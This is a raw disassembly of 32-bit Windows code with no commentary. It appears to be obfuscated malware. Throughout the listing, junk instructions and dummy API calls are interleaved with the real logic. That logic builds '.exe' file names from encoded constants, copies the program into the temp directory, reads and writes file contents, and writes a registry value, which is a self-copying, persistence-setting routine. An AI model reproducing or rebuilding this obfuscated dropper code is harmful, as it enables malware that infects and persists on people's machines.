push ecx
push eax
pushfd
cmovge ecx, eax
popfd
pop eax
pop ecx
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
push dword [ebp - 8]
call fcn.00415ec0
add eax, dword [ebp - 8]
mov edi, eax
push eax
mov dword [esp], 0x1bb695d
push esi
mov esi, esp
add esi, 4
add dword [esi], 0x64a7ffff
pop esi
pushfd
push ebx
rcl ebx, 2
pop ebx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
pushfd
push eax
setno al
pop eax
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
pop dword [edi]
add edi, 4
push 0x6578652e
pop dword [edi]
pushfd
push eax
rcr eax, 1
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
push eax
push ecx
pushfd
cmovl eax, ecx
popfd
pop ecx
pop eax
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
add edi, 4
pushfd
push esi
rol esi, 3
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
push ebx
push edx
pushfd
cmovnp ebx, edx
popfd
pop edx
pop ebx
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcessId
popfd
popal
push 0
pop dword [edi]
add edi, 4
push 0
push dword [ebp - 8]
push dword [ebp - 4]
call sub.KERNEL32.DLL_CopyFileA
or eax, eax
jne 0x411db4
pushfd
push ecx
bts ecx, 2
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
wait
pushal
pushfd
call sub.KERNEL32.DLL_GetCommandLineA
popfd
popal
push dword [ebp - 8]
push 0x410
call sub.KERNEL32.DLL_GetTempPathA
pushfd
push ecx
btr ecx, 0x17
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
paddsw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
push dword [ebp - 8]
call fcn.00415ec0
add eax, dword [ebp - 8]
mov edi, eax
dec edi
push 0x6376733a
pushfd
push edx
rcl edx, 7
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
pushfd
push eax
dec al
pop eax
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
pop dword [edi]
add edi, 4
pushfd
push esi
sar esi, 4
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
push ebx
push ecx
pushfd
add ebx, ecx
popfd
pop ecx
pop ebx
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcessId
popfd
popal
push ecx
mov dword [esp], 0xb4296f69
add dword [esp], 0xc049ffff
pushfd
push edx
shl edx, 0x1f
pop edx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
fsubp st(1)
pushal
pushfd
call sub.KERNEL32.DLL_GetTickCount
popfd
popal
pop dword [edi]
add edi, 4
push 0x6578652e
pop dword [edi]
pushfd
push eax
shl eax, 0x1c
pop eax
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
psadbw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
add edi, 4
push 0
pop dword [edi]
pushfd
push ecx
rol ecx, 0
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
pushfd
push ebx
inc bl
pop ebx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
add edi, 4
pushfd
push ebx
btc ebx, 3
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
fpatan
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcessId
popfd
popal
push 0
push 0x80
push 4
push 0
push 1
push 0x40000000
push dword [ebp - 8]
call sub.KERNEL32.DLL_CreateFileA
pushfd
push esi
rcl esi, 0x11
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
push ebx
call fcn.00411e77
pop ebx
jmp 0x411a5e
or eax, eax
pushfd
push eax
rcl eax, 0x16
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
push ebx
push eax
pushfd
mov ebx, eax
popfd
pop eax
pop ebx
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
js 0x411cca
mov esi, eax
pushfd
push ebx
rcr ebx, 0x13
pop ebx
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
push ebx
push eax
pushfd
and ebx, eax
popfd
pop eax
pop ebx
pushal
pushfd
call sub.KERNEL32.DLL_GetTickCount
popfd
popal
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push dword [ebp - 4]
call sub.KERNEL32.DLL_CreateFileA
pushfd
push eax
rcr eax, 0x19
pop eax
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
push edx
push ebx
pushfd
cmove edx, ebx
popfd
pop ebx
pop edx
pushal
pushfd
call sub.KERNEL32.DLL_GetLastError
popfd
popal
mov edi, eax
push 0
push edi
call sub.KERNEL32.DLL_GetFileSize
pushfd
push esi
ror esi, 0xf
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
pcmpgtb mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThreadId
popfd
popal
push eax
push 4
push 0x1000
push eax
push 0
call sub.KERNEL32.DLL_VirtualAlloc
pushfd
push esi
rcr esi, 3
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
push ecx
push esi
pushfd
cmovne ecx, esi
popfd
pop esi
pop ecx
pushal
pushfd
call sub.KERNEL32.DLL_GetTickCount
popfd
popal
push eax
pushfd
push ebx
btc ebx, 1
pop ebx
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
push ebx
push esi
pushfd
cmovae ebx, esi
popfd
pop esi
pop ebx
pushal
pushfd
call sub.KERNEL32.DLL_GetCommandLineA
popfd
popal
mov edx, dword [esp]
mov ecx, dword [esp + 4]
push 0
push 0x4218d3
push ecx
push edx
push edi
call sub.KERNEL32.DLL_ReadFile
push esi
call sub.KERNEL32.DLL_SetEndOfFile
pushfd
push ebx
sar ebx, 0xe
pop ebx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
fnclex
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
mov edx, dword [esp]
mov ecx, dword [esp + 4]
pushfd
push eax
rcl eax, 0x18
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
pcmpeqw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
push 0
push 0x4218d3
push ecx
push edx
push esi
call sub.KERNEL32.DLL_WriteFile
or eax, eax
pushfd
push ecx
rcr ecx, 4
pop ecx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
push esi
push esi
pushfd
cmovno esi, esi
popfd
pop esi
pop esi
pushal
pushfd
call sub.KERNEL32.DLL_GetLastError
popfd
popal
jne 0x411c53
pop edx
pushfd
push ebx
rol ebx, 0x10
pop ebx
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
pushfd
push eax
setl al
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
add esp, 4
push 0x8000
push 0
push edx
call sub.KERNEL32.DLL_VirtualFree
pushfd
push ecx
rol ecx, 0x16
pop ecx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
fnop
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
push edi
call sub.KERNEL32.DLL_CloseHandle
push esi
call sub.KERNEL32.DLL_CloseHandle
pushfd
push ecx
rcr ecx, 0x14
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
push ebx
push edx
pushfd
cmovb ebx, edx
popfd
pop edx
pop ebx
pushal
pushfd
call sub.KERNEL32.DLL_GetCommandLineA
popfd
popal
jmp 0x411cca
pop eax
pushfd
push ecx
rcl ecx, 9
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
fsubp st(1)
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThreadId
popfd
popal
add esp, 4
push 0x8000
push 0
push eax
call sub.KERNEL32.DLL_VirtualFree
pushfd
push edx
shl edx, 0x12
pop edx
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
push esi
call sub.KERNEL32.DLL_CloseHandle
pushfd
push eax
bt eax, 0xa
pop eax
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
push ebx
call fcn.00411e77
pop ebx
jmp 0x411cbf
push edi
call sub.KERNEL32.DLL_CloseHandle
jmp 0x411db4
push dword [ebp - 8]
push 0x410
call sub.KERNEL32.DLL_GetTempPathA
pushfd
push eax
btr eax, 8
pop eax
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
pmaxsw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
push dword [ebp - 8]
call fcn.00415ec0
add eax, dword [ebp - 8]
mov edi, eax
push 0x2e666369
pushfd
push ecx
btr ecx, 4
pop ecx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
faddp st(1)
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
pop dword [edi]
add edi, 4
push edx
mov dword [esp], 0x4f397866
add dword [esp], 0xb12bffff
pushfd
push esi
shl esi, 0x1a
pop esi
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
pmaxsw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
pop dword [edi]
add edi, 4
pushfd
push esi
bt esi, 0x1b
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
fchs
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
xor eax, eax
pushfd
push edx
bts edx, 0x1f
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
fsincos
pushal
pushfd
call sub.KERNEL32.DLL_GetLastError
popfd
popal
push eax
pop dword [edi]
add edi, 4
pushfd
push edx
shl edx, 0xf
pop edx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
pcmpeqd mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
push 0
push dword [ebp - 8]
push dword [ebp - 4]
call sub.KERNEL32.DLL_CopyFileA
push dword [ebp - 8]
call fcn.00415ec0
mov dword [0x42187b], eax
push eax
mov dword [esp], 0xb630636a
push eax
mov eax, esp
add eax, 4
add dword [eax], 0x4a35ffff
pop eax
lea eax, [esp]
pushfd
push ebx
rcr ebx, 0x16
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
push ecx
push eax
pushfd
cmovl ecx, eax
popfd
pop eax
pop ecx
pushal
pushfd
call sub.KERNEL32.DLL_GetLastError
popfd
popal
push dword [0x42187b]
push dword [ebp - 8]
push 1
push 0
push eax
push dword [0x42186f]
call sub.advapi32.dll_RegSetValueExA
pushfd
push eax
rcr eax, 0x16
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
pminsw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcessId
popfd
popal
pop eax
push dword [0x42186f]
call sub.advapi32.dll_RegCloseKey
pushfd
push esi
shl esi, 0x14
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
pushfd
push ecx
seto cl
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
jmp 0x4104b0